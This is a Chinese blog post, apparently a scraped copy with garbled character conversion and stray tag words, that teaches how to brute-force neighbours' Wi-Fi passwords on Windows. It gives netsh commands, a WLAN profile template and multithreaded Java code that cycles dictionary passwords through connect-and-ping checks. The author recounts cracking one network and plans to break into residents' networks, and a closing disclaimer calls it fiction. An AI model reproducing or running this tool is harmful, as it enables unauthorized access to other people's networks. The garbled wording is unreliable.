如何在Windows平臺用Java代碼暴力破解WIFI密碼

因爲新搬的地方沒有覆蓋移動的寬帶,最近手頭又緊。因此暫時先沒安寬帶,可是一天用流量,也撐不住啊。看着流量嘩啦啦的溜走。住的地方在6樓,而後房子是底商的格局,因而就動起了蹭網的當心思,一下記錄蹭網全過程。java

 

開始進入正題。在網上找了不少wifi破解工具,都是linux平臺下用的,而後還不支持虛擬機裝linux。由於不少筆記本裝虛擬機都識別不了內置網卡。因此得把系統刻到U盤,而後用U盤啓動。可是我如今窮得連一條內褲都沒有了,哪來的U盤啊。因而就決定本身寫,並且還得用Java寫,寫了我還得在windows上運行。linux

1、準備工做

首先你得須要一臺能連wifi的電腦,
而後你的電腦得支持Java環境,
最後你周圍得有無線網絡。git

ok,話很少說,說開擼,老夫就要開擼。因而網上找到了windows下cmd無線網絡操做的相關命令。以下:github

// 列出全部可用wifi
netsh wlan show networks mode=bssid

// 添加配置文件
netsh wlan add profile filename=FILE_NAME

// 鏈接wifi
netsh wlan connect name=SSID_NAME

// 導出配置文件
netsh wlan export profile key=clear

// 列出配置文件
netsh wlan show profile

// 刪除配置文件
netsh wlan delete profile name=FILE_NAME

// 列出接口
netsh wlan show interface

// 開啓接口
netsh interface set interface "Interface Name" enabled


首先須要寫配置文件,方便待會使用。首先咱們能夠看看配置文件張啥樣,導出配置文件看看就知道了。打開命令行,輸入這我這篇文章中,主要會用到前四個命令,其餘的命令就當給各位作拓展了。windows

 

netsh wlan export profile key=clear


就導出了配置文件,注意,這兒的配置文件默認導出在cmd執行的當前路徑,以下,安全

我導出的文件就在 C:\Users\Admin 下面,能夠看到文件都是wifi.xml方式。如 TP-LINK_5410.xml ,隨便打開一個咱們能夠看到xml文件的具體內容,可是有一些內容是咱們不須要的,咱們須要的是下面這個樣子網絡

<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>SSID_NAME</name>
<SSIDConfig>
    <SSID>
        <name>SSID_NAME</name>
    </SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
    <security>
        <authEncryption>
            <authentication>AUTH_TYPE</authentication>
            <encryption>AES</encryption>
            <useOneX>false</useOneX>
        </authEncryption>
        <sharedKey>
            <keyType>passPhrase</keyType>
            <protected>false</protected>
            <keyMaterial>PASSWORD</keyMaterial>
        </sharedKey>
    </security>
</MSM>
<MacRandomization xmlns="http://www.microsoft.com/networking/WLAN/profile/v3">
    <enableRandomization>false</enableRandomization>
</MacRandomization>
</WLANProfile>


2、掃描WIFI其中 SSID_NAME 是待會咱們會用到的wifi名稱, AUTH_TYPE 是wifi的加密方式, PASSWORD 是咱們會暴力破解的密碼變量。多線程

OK,背景交代得差很少了,能夠開幹了。首先掃描附近的WIFI,返回全部WIFI的信息,包括SSID、加密方式、信號強度(信號太弱的,咱們就不進行破解了,破解了也沒啥用)。掃描其實就是執行一個CMD命令的問題,先封裝一個CMD執行器吧。dom

/**
 * 執行器
 *
 * @param cmd      CMD命令
 * @param filePath 須要在哪一個目錄下執行
 */
private static List<String> execute(String cmd, String filePath) {
    Process process = null;
    List<String> result = new ArrayList<String>();
    try {
        if (filePath != null) {
            process = Runtime.getRuntime().exec(cmd, null, new File(filePath));
        } else {
            process = Runtime.getRuntime().exec(cmd);
        }
        BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
        String line = null;
        while ((line = bReader.readLine()) != null) {
            result.add(line);
        }
    } catch (IOException e) {
        e.printStackTrace();
    }
    return result;
}

 

/**
 * 列出全部信號較好的ssid
 *
 * @return 全部ssid
 */
public static List<Ssid> listSsid() {
    List<Ssid> ssidList = new ArrayList<Ssid>();
    String cmd = Command.SHOW_NETWORKS;
    List<String> result = execute(cmd, null);
    if (result != null && result.size() > 0) {
        // todo 整合信息
    }
    return ssidList;
}

 

 

而後掃描周圍wifi信息,並返回相關信息工具

 

3、生成配置文件

OK,接下來咱們就能夠開始針對每一個不一樣的SSID生成不一樣的配置文件了,生成文件整個過程就是根據每一個不一樣的密碼生成一個配置文件。大概代碼以下

/**
 * 配置文件生成器
 */
public class ProfileGenerator {

    private String ssid = null;
    private String passwrodPath = null;
    private ExecutorService threadPool = Executors.newFixedThreadPool(4);

    public ProfileGenerator(String ssid, String passwrodPath) {
        this.ssid = ssid;
        this.passwrodPath = passwrodPath;
    }

    /**
     * 生成配置文件
     */
    public void genProfile() {
        List<String> passwordList = null;
        int counter = 0;
        outer:
        while (true) {
            int start = counter * Connector.BATH_SIZE;
            int end = (counter + 1) * Connector.BATH_SIZE - 1;
            passwordList = FileUtils.readLine(passwrodPath, start, end);
            if (passwordList != null && passwordList.size() > 0) {
                // 生成配置文件
                for (String password : passwordList) {
                    GenThread genThread = new GenThread(ssid, password);
                    threadPool.execute(genThread);
                }
            } else {
                break outer;
            }
            counter++;
        }
    }
}

class GenThread implements Runnable {

    private String ssid = null;
    private String password = null;

    GenThread(String ssid, String password) {
        this.ssid = ssid;
        this.password = password;
    }

    public void run() {
        String profileContent = Profile.PROFILE.replace(Profile.WIFI_NAME, ssid);
        profileContent = profileContent.replace(Profile.WIFI_PASSWORD, password);
        FileUtils.writeToFile(Connector.PROFILE_TEMP_PATH + "\\" + password + ".xml", profileContent);
    }
}


須要哪些密碼能夠本身如今網上找一些字典來跑,建議順序是 經常使用弱口令 => 字典面 => 隨機密碼(到了隨機密碼這兒,意義也不大了)。這兒給出一個常見弱口令的下載鏈接。反正我只用這個弱口令破解過一個WIFI。這兒爲了加快文件生成速度,我開啓了多線程。我的實際感覺,若是隻是幾千到幾萬個的話,其實多線程很少線程,並無多大區別,真正的區別在於後面嘗試鏈接的時候。

4、遍歷校驗配置文件

接下來就是最耗時的一步了,一個個密碼去校驗。關鍵代碼以下

/**
 * 校驗WLAN配置文件是否正確
 * <p>
 * 校驗步驟爲:
 * ---step1 添加配置文件
 * ---step3 鏈接wifi
 * ---step3 ping校驗
 */
public synchronized boolean check(String ssid, String password) {
    System.out.println("check : " + password);
    try {
        String profileName = password + ".xml";
        if (addProfile(profileName)) {
            if (connect(ssid)) {
                Thread.sleep(50);
                if (ping()) {
                    return true;
                }
            }
        }
    } catch (InterruptedException e) {
        e.printStackTrace();
    }
    return false;
}

/**
 * 添加配置文件
 *
 * @param profileName 添加配置文件
 */
private static boolean addProfile(String profileName) {
    String cmd = Command.ADD_PROFILE.replace("FILE_NAME", profileName);
    List<String> result = execute(cmd, Connector.PROFILE_TEMP_PATH);
    if (result != null && result.size() > 0) {
        if (result.get(0).contains("添加到接口")) {
            return true;
        }
    }
    return false;
}

/**
 * 鏈接wifi
 *
 * @param ssid 添加配置文件
 */
private static boolean connect(String ssid) {
    boolean connected = false;
    String cmd = Command.CONNECT.replace("SSID_NAME", ssid);
    List<String> result = execute(cmd, null);
    if (result != null && result.size() > 0) {
        if (result.get(0).contains("已成功完成")) {
            connected = true;
        }
    }
    return connected;
}

/**
 * ping 校驗
 */
private static boolean ping() {
    boolean pinged = false;
    String cmd = "ping " + Connector.PING_DOMAIN;
    List<String> result = execute(cmd, null);
    if (result != null && result.size() > 0) {
        for (String item : result) {
            if (item.contains("來自")) {
                pinged = true;
                break;
            }
        }
    }
    return pinged;
}

兩點釋疑:
1.爲何須要sleep(50)? 由於在鏈接後,電腦沒有當即反應過來,此時去ping的話,就算密碼正確,都會ping不成功。因此須要sleep。我破解的時候sleep(1000)的,還沒測試50行不行。

2.爲何須要ping網站? 由於在第二步鏈接的時候,無論有沒有鏈接成功,都會出現 ‘已成功完成xx鏈接’ 的字樣。因此沒辦法,只有用ping來校驗,不過我相信必定可以優化的。

這一步我開啓了多線程,去驗證,有人說爲何用多線程,明明驗證方法都 synchronized 了,我想說的是,單線程的話,之間總會有間隙的,因此爲了壓榨那一點點時間,我用了多線程。

5、鏈接成功

OK,至此,爲師已將畢生功力傳授給你了,你出去就說是三年經驗了。呸,說錯了,至此,整個流程大概就已經出來了,接下來就run你的程序吧。等待密碼的破解。

我一共在我家周圍瞄上了三個信號看起來還能夠的wifi。用這個程序跑了40多秒,開了一個wifi的密碼 12345678。耶成功了終於能夠用了。

而後根據密碼,把自家路由器設置一個橋接模式。家裏到處都有網了。

5、或者放棄

或者,你也能夠放棄。愉快地用了一夜事後,我次日早上起來發現網斷了,原來那個網不存在了,可是到了中午又有了。我估計是底商閉店了,就斷電了,網就沒了。

因而想要撬開一個住戶的網,跑了兩個看起來信號比較好的網絡,都以失敗了結!!!由於密碼字典不夠強大。網上下過幾個字典生成器,都不能用。算了吧先湊合用着如今的網絡,等我有空了,寫個字典生成器,來撬開。

等我密碼生成器出來了,會繼續更新。歡迎持續關注。。。

PS:本文代碼已託管到github,如有興趣,歡迎瀏覽https://github.com/weechang/wifi-connector

嚴正申明: 文中全部行爲均爲杜撰,請廣大網友切勿利用本博文內容作出任何危害網絡安全的行爲。如有違法行爲,均與本人無關。

本文做者: 張未

本文連接: https://blog.weechang.xyz/2018/10/22/windows-java-wifi/

版權聲明: 本博客全部文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明出處!

相關文章
相關標籤/搜索